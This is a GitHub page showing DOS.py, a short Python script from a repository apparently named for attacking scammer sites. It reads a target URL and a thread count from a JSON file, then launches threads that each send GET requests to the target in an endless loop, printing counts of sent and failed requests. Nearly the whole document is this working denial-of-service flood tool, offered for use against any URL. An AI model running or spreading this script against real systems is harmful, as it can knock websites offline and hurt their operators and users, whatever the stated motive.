forked from Itsmmdoha/DOS_scammers
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathDOS.py
38 lines (29 loc) · 878 Bytes
/
DOS.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import threading
import json
req_count = 0
try_count = 0
with open('url.json','r') as file:
json_dictonary = json.load(file)
url = json_dictonary['url']
numberOfThreads = json_dictonary['number of threads']
print(f'attacking: {url}')
def attack(x):
while 1:
try:
global req_count
res = requests.get(x)
if req_count%100==0:
print(f'sent requests:{req_count} {res}')
req_count = req_count + 1
except:
global try_count
try_count= try_count +1
print(f'unreachable count: {try_count}')
threads=[]
for i in range(1,numberOfThreads):
t1 = threading.Thread(target=attack,args=[url])
threads.append(t1)
for thread in threads:
thread.start()
print(f'all {numberOfThreads} threads are running')